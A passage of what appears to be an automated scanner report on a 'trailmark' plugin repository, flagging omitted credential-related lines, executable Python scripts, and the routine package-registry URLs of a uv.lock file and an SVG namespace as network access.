  • Access to secretsline 203
    [Credential-related source omitted]

plugins/trailmark/skills/mermaid-to-proverif/references/crypto-to-proverif-mapping.md

  • Access to secretsline 107
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]

plugins/trailmark/skills/mermaid-to-proverif/references/proverif-syntax.md

  • Access to secretsline 169
    [Credential-related source omitted]
  • Access to secretsline 188
    [Credential-related source omitted]
  • Access to secretsline 192
    [Credential-related source omitted]
  • Access to secretsline 194
    [Credential-related source omitted]

plugins/trailmark/skills/mermaid-to-proverif/tests/test_guidance.py

  • Executable scriptline 1
    Executable file

plugins/trailmark/skills/slicing-code-context/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/trailmark/skills/slicing-code-context/scripts/build_slice_packet.py

  • Executable scriptline 1
    Executable file

plugins/trailmark/skills/slicing-code-context/scripts/test_build_slice_packet.py

  • Executable scriptline 1
    Executable file

plugins/trailmark/skills/slicing-code-context/scripts/uv.lock

  • Network accessline 6
    name = "colorama" version = "0.4.6" source = { registry = "https://pypi.org/simple" }
  • Network accessline 7
    version = "0.4.6" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb
  • Network accessline 8
    source = { registry = "https://pypi.org/simple" }
  • Network accessline 9
    sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 276
  • Network accessline 10
    wheels = [     { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57a
  • Network accessline 11
    { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size
  • Network accessline 15
    name = "iniconfig" version = "2.3.0" source = { registry = "https://pypi.org/simple" }
  • Network accessline 16
    version = "2.3.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c7
  • Network accessline 17
    source = { registry = "https://pypi.org/simple" }
  • Network accessline 18
    sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20
  • Network accessline 19
    wheels = [     { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53
  • Network accessline 20
    { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 
  • Network accessline 24
    name = "numpy" version = "2.5.4" source = { registry = "https://pypi.org/simple" }
  • Network accessline 25
    version = "2.5.4" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/95/b0/c7453d0b6e2073c3264468b106ee1563750cecc910965e67357e3698c83e/numpy-2.5.4.tar.gz", hash = "sha256:9a94cf751c9a
  • Network accessline 26
    source = { registry = "https://pypi.org/simple" }
  • Network accessline 27
    sdist = { url = "https://files.pythonhosted.org/packages/95/b0/c7453d0b6e2073c3264468b106ee1563750cecc910965e67357e3698c83e/numpy-2.5.4.tar.gz", hash = "sha256:9a94cf751c9ad8ebaa835bcd3d40dacf8534ad086b88c38029b65123c7999d2a", size = 208663
  • Network accessline 28
    wheels = [     { url = "https://files.pythonhosted.org/packages/d0/97/ba2074e92b7befea137e77ea8471e768bbd87c339b7e8c9f5a931949f977/numpy-2.5.4-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c6342f54c67093cae5c0227eb0eb772fdb79f2a2c37a
  • Network accessline 29
    { url = "https://files.pythonhosted.org/packages/d0/97/ba2074e92b7befea137e77ea8471e768bbd87c339b7e8c9f5a931949f977/numpy-2.5.4-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c6342f54c67093cae5c0227eb0eb772fdb79f2a2c37a6eb278b9909ee06
  • Network accessline 30
    { url = "https://files.pythonhosted.org/packages/ff/a9/bac826765e971d8e16e2064e9ac7525fd69b40ac17c905033a7f5442023f/numpy-2.5.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b11e8fda06a7d69f15ebf542660b74466c2e51094800c1fb794f47ad4faee
  • Network accessline 31
    { url = "https://files.pythonhosted.org/packages/31/2f/5ea3570fcb8ccd0882bea99436a513b2c85dad8f774a2057849130a8fb99/numpy-2.5.4-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:9cb18a327b49c5c337f972b03682f6a49855525faaf3c0d3e9c96cd0fd888
  • Network accessline 32
    { url = "https://files.pythonhosted.org/packages/34/f2/b4fc1bafca03868220b5eaf729d2f21ebd7d7b151c0f9e144fe212bbca35/numpy-2.5.4-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:aec3fc4b32ff82421274f5d205c559c51c840c8df66a78efd7f3612dd005
  • Network accessline 33
    { url = "https://files.pythonhosted.org/packages/dc/96/8319e2457ae4333c62c815c7006b869a4f60985c1e01024c2f8c6c040fe5/numpy-2.5.4-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fe4d21ab149f15e4e6043dfb0de87e6e5
  • Network accessline 34
    { url = "https://files.pythonhosted.org/packages/43/a3/c799c62e19c337e6d3770b08e475887fb30ce8477d3c09efca6b2f0228a6/numpy-2.5.4-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fbde6962867ee75b48b0ee29b2b9372ec5d
  • Network accessline 35
    { url = "https://files.pythonhosted.org/packages/39/6b/3604e53fb00314d0dc1b94ec9125a1484f649c0a17480b1f0f0c7a9d6250/numpy-2.5.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:381a7a3d2e65e64c0ec302795ab9dc12bb1e73f150904699c15371617
  • Network accessline 36
    { url = "https://files.pythonhosted.org/packages/4a/7a/e8b58a5289a0d464c52885de47c35a935cdd70c03a4c3ab94a5126416dd0/numpy-2.5.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b89d0aaae2fe498c648f4c4795c084db535af5bd98ef942b2a3681fb74
  • Network accessline 37
    { url = "https://files.pythonhosted.org/packages/6f/c9/47094f597015009f310b8c900def59065ef1ff5a6fe7b51fc65ec58ec2c6/numpy-2.5.4-cp312-cp312-win32.whl", hash = "sha256:9968ab7e49b93ac6e1c3b2239732183152c9150f16308d30b66a372cffe3483c", size =
  • Network accessline 38
    { url = "https://files.pythonhosted.org/packages/12/33/fefe62073dc8acfd0f2b9ed7c003af2f50aa61555e113e6db02b8f79f145/numpy-2.5.4-cp312-cp312-win_amd64.whl", hash = "sha256:a7b1b6353e36a7e50de2973a38d705c88ee93adcf120673cee7f45a4a3fa223a", si
  • Network accessline 39
    { url = "https://files.pythonhosted.org/packages/1a/07/161270b0c2eec56e4c905f6d6d22e1b836887b2cb189d3f5820aa588e9dd/numpy-2.5.4-cp312-cp312-win_arm64.whl", hash = "sha256:aa1cce2ff3f8d953de38b76bf44602caeb69f101430208f64a10067f7cb4b1d3", si
  • Network accessline 40
    { url = "https://files.pythonhosted.org/packages/67/14/1c3ee0118a8fce08565a5d8482631608426a33af10a01077fada5dc7c119/numpy-2.5.4-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:2377da2dd3ba2c1200956acbab2a358c83b8e1f8531191672d1cd6ad832
  • Network accessline 41
    { url = "https://files.pythonhosted.org/packages/83/8c/b0ea9477fb1f0d4484bbc5cba21678cc9969704d8d7f3f158d1db35f8e14/numpy-2.5.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7415db95818b39ec475a5eea54d9e3b6bc83e3912158e46da3438cdce3998
  • Network accessline 42
    { url = "https://files.pythonhosted.org/packages/e2/84/6a3d75b3ba3dfe84ac0053450753d1e6d250a8bf80f66474cc46d1fb643f/numpy-2.5.4-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:6d6a71b9d9a97c03633aa12565ef2825ffa036cc1d99cfd50dacf0f128af4
  • Network accessline 43
    { url = "https://files.pythonhosted.org/packages/61/18/bb993f267ca20b376e07092a16793a5b31ed3138751e9ba480011a14d742/numpy-2.5.4-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:d8200f16437b289a5bb927c6e184eccc3e8389bc0070fea4cd5b9e13c175
  • Network accessline 44
    { url = "https://files.pythonhosted.org/packages/db/b6/135bb0953b61dc21c6cafa14b424ae666944e4899cf140e00c2b322a1a45/numpy-2.5.4-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1c2e71b04c6cad90026e544501bbe0ab9
  • Network accessline 45
    { url = "https://files.pythonhosted.org/packages/da/24/3bd070f3269dc609d8f26b2643f62ef91bb415841c0b294805aaf7fe06da/numpy-2.5.4-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6ffa07666f8da0eef81d149934a626d0d95
  • Network accessline 46
    { url = "https://files.pythonhosted.org/packages/c7/8e/9d15bd356b0a019c965312b1a3c6a727cac4cae5bc40045fbc12ce4cff9c/numpy-2.5.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:2fa3328f784fc8277fc48026f6cad516f5c561c5d8e2e39b3c9e0c8f2
  • Network accessline 47
    { url = "https://files.pythonhosted.org/packages/dc/fe/9d5b560db964f15871885f2250795d15945f8699e17ef90c0c2ff4c875b2/numpy-2.5.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b86966fbe4ad7de710422175572bcdc75fdedadfb54bc6fab7deabccdd
  • Network accessline 48
    { url = "https://files.pythonhosted.org/packages/e9/98/d27552990f1bd611ef3e7466adadc78312ea2df63b83aad47fdc3d3ca8df/numpy-2.5.4-cp313-cp313-win32.whl", hash = "sha256:5258bc06526964be5face2fc6f756857a3f24f21ec3e72ca131337a75b165d6c", size =
  • Network accessline 49
    { url = "https://files.pythonhosted.org/packages/90/8c/140a40398a66b4471211be1affdb6ed24c486d581bd28d07b7f2fcb69540/numpy-2.5.4-cp313-cp313-win_amd64.whl", hash = "sha256:8b4d2fd2d34e5f8c9235ee787de5631a37a28402b15cb80814df973d2be54129", si
  • Network accessline 50
    { url = "https://files.pythonhosted.org/packages/34/52/01d205e5e8ccb27b2b0b141e801f22b830198c979111b0fa44771438d9a9/numpy-2.5.4-cp313-cp313-win_arm64.whl", hash = "sha256:bc39ac66a7a9a3fbd6134fda43136b60ffde99c8f4501e64e0d2b24da137babf", si
  • Network accessline 51
    { url = "https://files.pythonhosted.org/packages/99/ba/005cb5edd580d2f84d7ca3206b92dc17d4388e56e6f87ffe8f2762f83139/numpy-2.5.4-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:c668b2f0d651605b58892644b0e302c7157f7159544227758c896982ef3
  • Network accessline 52
    { url = "https://files.pythonhosted.org/packages/f3/49/fee7587c33ee35f7977f9051d7f2023d4e7246d62710c80f20c2361ea232/numpy-2.5.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:ffa6ce09a1c6a08e9667dd9c97aa0b14184e8d18f2a14b78b2a2328c9147f
  • Network accessline 53
    { url = "https://files.pythonhosted.org/packages/d5/b2/c6ce165acffceb15a82c07b9cc77d391f86b3f379ba62911908ae5d34b91/numpy-2.5.4-cp314-cp314-macosx_14_0_arm64.whl", hash = "sha256:956555e0603a4d38019ae6925711cb9dc43195c076a928accf7ea5d50bddf
  • Network accessline 54
    { url = "https://files.pythonhosted.org/packages/77/7f/dd85ce260a669a89be06842cf355d7353a33e6cfbc590fb8ebb947d88dc9/numpy-2.5.4-cp314-cp314-macosx_14_0_x86_64.whl", hash = "sha256:2c2c4afffdeb7920e445028dd71eb932cac3e704792e964bc2a232426d4f
  • Network accessline 55
    { url = "https://files.pythonhosted.org/packages/63/d6/34b0a2b0741386a63025a65a2c09caaaaaad6d0ca95b66cd65c30dd7fcb5/numpy-2.5.4-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4054173604cd8658796053f1f3bc0befb
  • Network accessline 56
    { url = "https://files.pythonhosted.org/packages/16/d5/928078d2b28f26829b138b4a6c3980045022fb409f570657a224ae60ef4e/numpy-2.5.4-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d549420b8858885cea8838a727842249218
  • Network accessline 57
    { url = "https://files.pythonhosted.org/packages/f9/cf/673fd1b8f4cd78eb6320e87ec4c90ac19c095644259e3749853a405c70f4/numpy-2.5.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:823874a507a84af050493b622affde94b6f7c3a0dc22cb2801381bc03
  • Network accessline 58
    { url = "https://files.pythonhosted.org/packages/f3/92/a77b5061b1b3e2643928c37976d79ee173e1b171ed158b7a3c61056b41bc/numpy-2.5.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4e263278bfb5ee6409db8aedbc4cc32973b1b82bc1e8d3c668551d04d8
  • Network accessline 59
    { url = "https://files.pythonhosted.org/packages/bb/1d/1486ef3d3fb2279fd93c4c43c1bbbf1ca389a19816696684409f71babaab/numpy-2.5.4-cp314-cp314-win32.whl", hash = "sha256:cfd73180400042a7c532d30c5e287bdd03c59ff9ee1b4c0316af0539e29dfe23", size =
  • Network accessline 60
    { url = "https://files.pythonhosted.org/packages/52/9a/e1e512ebc948d5b9dd33b08736760f0ebbed2848fd4eda1f553088a6dcee/numpy-2.5.4-cp314-cp314-win_amd64.whl", hash = "sha256:2ca144f15135b6212a5c47b1e2aeca6e412f102f95a2d5d88d8aec77eb255de3", si
  • Network accessline 61
    { url = "https://files.pythonhosted.org/packages/2c/05/de709a982d7bbcd688a3fad71f002e9ff80c2db39e03ee726609b610f1d1/numpy-2.5.4-cp314-cp314-win_arm64.whl", hash = "sha256:468397ba3c64427474706e5c9123fe266395496714dc684294eac75cd4930d1e", si
  • Network accessline 62
    { url = "https://files.pythonhosted.org/packages/13/34/083570ada3bb2a30fbe5d77c8c6fef9141144a15d33e6f793a67e9749ab8/numpy-2.5.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1ef3aa6d7e29bb13677323114280b05acc57607fa2300e66432d665d5418
  • Network accessline 63
    { url = "https://files.pythonhosted.org/packages/94/06/1f9c24db48eef0c2d1207e3b11fffb0478e39dfd8c1e1be7476936885eed/numpy-2.5.4-cp314-cp314t-macosx_14_0_arm64.whl", hash = "sha256:98b053943e5a0474ec0da309d2cb9d3f18ea57f8a2067c2ab7b5f763d106
  • Network accessline 64
    { url = "https://files.pythonhosted.org/packages/da/0f/593fba2e1560e949123bc7d2fc48b5893d56e58cd4bd5a273d2fbf60b220/numpy-2.5.4-cp314-cp314t-macosx_14_0_x86_64.whl", hash = "sha256:b64a85f40e154983960a4167d4c1d57a50c7f109b3d3264a3a984154e90
  • Network accessline 65
    { url = "https://files.pythonhosted.org/packages/eb/9f/b799dfdce4e05e80ed4bc815c71ff343a11533b2c0ffc221cae8538cda63/numpy-2.5.4-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a813ed7719bf45463c51779e6a98d038
  • Network accessline 66
    { url = "https://files.pythonhosted.org/packages/34/88/16c5f12f86f5ad2817c4d103205131fc6c8acb3d1878af05a1a4f23ec859/numpy-2.5.4-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c9b80cdf5cedba0e90d93fa5f9a333c4d6
  • Network accessline 67
    { url = "https://files.pythonhosted.org/packages/ff/4f/a1fe40e18a898e6a5089f4f0d891f0a493eb0574d5b34458f0fbe5aa3e5c/numpy-2.5.4-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:2199ed071f460487c8db2c0e5c0b564494190edb4772fe80f9aad88b
  • Network accessline 68
    { url = "https://files.pythonhosted.org/packages/aa/46/e923a11c78e65c1722e7aaad817c06bd591324174b9d28ce5d31eee4d432/numpy-2.5.4-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:64f9c9878c1938476365e11ccfb6b770f3b9e5f045ccddc514235041e
  • Network accessline 69
    { url = "https://files.pythonhosted.org/packages/5a/fa/84ab064514440c1f64a1b21088f2c82756defdd05e07c75ab233899565b2/numpy-2.5.4-cp314-cp314t-win32.whl", hash = "sha256:64d1c8ac28a4077cf987e0a71a7a0ef7e2df70722f07f0baa42dbb7eb6938647", size 
  • Network accessline 70
    { url = "https://files.pythonhosted.org/packages/7e/7e/6cd886876f435b10685db9b9f7eeb70356f99e052116f4e5f11c5792c714/numpy-2.5.4-cp314-cp314t-win_amd64.whl", hash = "sha256:067374eb538c34c745436365cf7b0112595c1d326f21ce4ff340f61230239fbb", s
  • Network accessline 71
    { url = "https://files.pythonhosted.org/packages/38/1b/3c1684f6a06f7307f2335fca6e486cb162847fb97e91d65f8eb5cabad213/numpy-2.5.4-cp314-cp314t-win_arm64.whl", hash = "sha256:e94aef2c639da4a960ad0db8e06471208d8589974953d78b61d345b4eb99e394", s
  • Network accessline 72
    { url = "https://files.pythonhosted.org/packages/08/f4/3224deff3af2bef6bc0b175369698d8cb348f3d91d9bb0286cd5c9eae9e0/numpy-2.5.4-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:8dddfbee2e68d26d0d7d7d9cb247b1fd4409241cce32d815a11d97ec2cf
  • Network accessline 73
    { url = "https://files.pythonhosted.org/packages/be/75/fee0b8c6d94b44b2fdfae74f6a4ad5a138739589a8aebaec28ce4e713ed5/numpy-2.5.4-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:81e3420b27048b65eb14c3acf0c174a8cb0e023277716110347d2dcb26026
  • Network accessline 74
    { url = "https://files.pythonhosted.org/packages/47/c0/d0b335a499a04b65f532c3f034346ef390f81299060f928492dabc1e0272/numpy-2.5.4-cp315-cp315-macosx_14_0_arm64.whl", hash = "sha256:0b4724a19de67bea8cfc4970798efa78bcbbe2ac2613cfac16721a42d44de
  • Network accessline 75
    { url = "https://files.pythonhosted.org/packages/5a/0e/461b3783c03d668052e6a21b01b673db6ffcb7831fd32d9aa5368c1cd426/numpy-2.5.4-cp315-cp315-macosx_14_0_x86_64.whl", hash = "sha256:2132418bf8dd124a427ca9e6a1daf9ee1a87185344c95119ceae868b9946
  • Network accessline 76
    { url = "https://files.pythonhosted.org/packages/b3/02/5dad269b02166965a7b4ca14adaddd75dbee0de42435bfecf561b84ba5a6/numpy-2.5.4-cp315-cp315-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:325518d4245b9e331387702aa58c2ce1d
  • Network accessline 77
    { url = "https://files.pythonhosted.org/packages/93/3a/01360c8036822ed9f7aa32189a77d1476567ec1e8e1383522389e4faac45/numpy-2.5.4-cp315-cp315-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:56733449d2544178beaa4545cee35737044
  • Network accessline 78
    { url = "https://files.pythonhosted.org/packages/7d/5c/b863a2c093c4d6f21a597fcaf24ead0835c09ab16a8312d5a5a8868af683/numpy-2.5.4-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:5ec3753760c1a6d8bb91200666e545c3a9728e6269dfb5d6ce0234099
  • Network accessline 79
    { url = "https://files.pythonhosted.org/packages/0a/60/ced4f57f9a1258a0af74f17cb0b0c2700b5c67cd6678823c803b263e4df3/numpy-2.5.4-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:b1185012870173de7ae33d370bd45b1cf5baee747ea4b97036b65f4e93
  • Network accessline 80
    { url = "https://files.pythonhosted.org/packages/f9/bd/0ef22dafaafcc7d4bb3ca26b8d2afbd55dedad8eaba99a8c864e1997456f/numpy-2.5.4-cp315-cp315-win32.whl", hash = "sha256:298eca75243f2cbbfdb460560b9fb2a1792a33cf2ab4286efd43d92e8d3df508", size =
  • Network accessline 81
    { url = "https://files.pythonhosted.org/packages/50/bc/d2651b155ecc608a77e6f4d15495c11f14f19bb98f8bf0c5b0d38f86dda1/numpy-2.5.4-cp315-cp315-win_amd64.whl", hash = "sha256:332f3378fe077dd850e677ec01bdcc4f22368fb5d50ef10b2c79230b1bf5a592", si
  • Network accessline 82
    { url = "https://files.pythonhosted.org/packages/dc/d2/45e404f8abb26fb9eda12b94012936873e827b1be76f2ee7890be128312e/numpy-2.5.4-cp315-cp315-win_arm64.whl", hash = "sha256:d4cccbbc78717966f764cd3af4fb70276fa01fc7a2688af11c78901fa5c04f05", si
  • Network accessline 83
    { url = "https://files.pythonhosted.org/packages/c6/c3/2ae14e09cfdb67dc187a342e15308a21c15bf4d2071f8079e6aee5fe56dc/numpy-2.5.4-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:950ea81d57ef070665581b6e1b5f6a029306423cd1739c5b95fe78aa30
  • Network accessline 84
    { url = "https://files.pythonhosted.org/packages/f5/cf/305ae624ef8a039414317224abe9ec9c2fe7ea3c2e1cf204d43ff6b2ffb9/numpy-2.5.4-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:c05ede731b03fb1b7591faca9389ade3267d2bddf1ad8882bb3f2cc5e101
  • Network accessline 85
    { url = "https://files.pythonhosted.org/packages/a9/a8/f75c63813aef95827bb2c0d13b12803016853056e8792c280058cdbfe783/numpy-2.5.4-cp315-cp315t-macosx_14_0_arm64.whl", hash = "sha256:5fbf7141bbfd63aea22f435c9062a032b9ea0082fe9845dad7f021d3f123
  • Network accessline 86
    { url = "https://files.pythonhosted.org/packages/6f/0f/f17763f983868b5c49b4101ebd7e00760bd1769478a6bb6a8de6e085bbac/numpy-2.5.4-cp315-cp315t-macosx_14_0_x86_64.whl", hash = "sha256:3573cd22564692a5b899ec344e5d5b9cc4576f2985b96f22af3564ed54f
  • Network accessline 87
    { url = "https://files.pythonhosted.org/packages/67/a7/8af04c5a79e047996cfa38854dcfbececdd0343a7c933a46fdd03ef6f5da/numpy-2.5.4-cp315-cp315t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6c109eac9cd439193678f69d70733c11
  • Network accessline 88
    { url = "https://files.pythonhosted.org/packages/57/7a/648254290d0c504faa8f2d07aa206660c728802c781a6f3fc68ab7cb5d71/numpy-2.5.4-cp315-cp315t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:80d6ef6e8620eb2c2b4c4caad50b5935d6
  • Network accessline 89
    { url = "https://files.pythonhosted.org/packages/b8/fe/4a8c3cdb0c70400cfe4c5bec42d3099a5673802a95064614b33e07b82aa1/numpy-2.5.4-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:77045a4b175bbf5316ec08003880804336c78f92281a1b72222b274e
  • Network accessline 90
    { url = "https://files.pythonhosted.org/packages/1b/7e/619692bb67778702c0e9eb2d468568a7573f4e269386ea61aed01ee4e557/numpy-2.5.4-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:0f02a46e49cfb6c73bdb7aea1c0d3461dbae9aba613542b65f657cd3d
  • Network accessline 91
    { url = "https://files.pythonhosted.org/packages/b7/b5/4da41c328788f575838f97a098fe8ca691ebc6f6fd73ad4a262ee40b184d/numpy-2.5.4-cp315-cp315t-win32.whl", hash = "sha256:ad62a416ddcf863bf44bba76fbf6b53366ab0692e294f51cae4b5fbe0d246788", size 
  • Network accessline 92
    { url = "https://files.pythonhosted.org/packages/98/94/6482ddfa3d312490cb9358f375bf2ad56427dbea8769187158e94d653753/numpy-2.5.4-cp315-cp315t-win_amd64.whl", hash = "sha256:38f47be9f74ab870d2633b5456ae519c43758a8d1fd05342f0ce4ecc034396ee", s
  • Network accessline 93
    { url = "https://files.pythonhosted.org/packages/48/7f/c2d1b436b6e7cfebac140c2579a298344b85f2991a2ce5c3615cefb29400/numpy-2.5.4-cp315-cp315t-win_arm64.whl", hash = "sha256:7a14a461d9340f1b46b8648578aed9cdb8b3b018a8fac6c1dde2c9192a01a87f", s
  • Network accessline 97
    name = "packaging" version = "26.2" source = { registry = "https://pypi.org/simple" }
  • Network accessline 98
    version = "26.2" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/d7/f1/e7a6dd94a8d4a5626c03e4e99c87f241ba9e350cd9e6d75123f992427270/packaging-26.2.tar.gz", hash = "sha256:ff452ff5a3
  • Network accessline 99
    source = { registry = "https://pypi.org/simple" }
  • Network accessline 100
    sdist = { url = "https://files.pythonhosted.org/packages/d7/f1/e7a6dd94a8d4a5626c03e4e99c87f241ba9e350cd9e6d75123f992427270/packaging-26.2.tar.gz", hash = "sha256:ff452ff5a3e828ce110190feff1178bb1f2ea2281fa2075aadb987c2fb221661", size = 228
  • Network accessline 101
    wheels = [     { url = "https://files.pythonhosted.org/packages/df/b2/87e62e8c3e2f4b32e5fe99e0b86d576da1312593b39f47d8ceef365e95ed/packaging-26.2-py3-none-any.whl", hash = "sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0
  • Network accessline 102
    { url = "https://files.pythonhosted.org/packages/df/b2/87e62e8c3e2f4b32e5fe99e0b86d576da1312593b39f47d8ceef365e95ed/packaging-26.2-py3-none-any.whl", hash = "sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0980e", size = 1
  • Network accessline 106
    name = "pluggy" version = "1.6.0" source = { registry = "https://pypi.org/simple" }
  • Network accessline 107
    version = "1.6.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b762
  • Network accessline 108
    source = { registry = "https://pypi.org/simple" }
  • Network accessline 109
    sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412
  • Network accessline 110
    wheels = [     { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd47
  • Network accessline 111
    { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 205
  • Network accessline 115
    name = "pygments" version = "2.20.0" source = { registry = "https://pypi.org/simple" }
  • Network accessline 116
    version = "2.20.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd0
  • Network accessline 117
    source = { registry = "https://pypi.org/simple" }
  • Network accessline 118
    sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f", size = 49
  • Network accessline 119
    wheels = [     { url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946
  • Network accessline 120
    { url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176", size = 
  • Network accessline 124
    name = "pytest" version = "9.1.1" source = { registry = "https://pypi.org/simple" }
  • Network accessline 125
    version = "9.1.1" source = { registry = "https://pypi.org/simple" } dependencies = [
  • Network accessline 126
    source = { registry = "https://pypi.org/simple" }
  • Network accessline 132
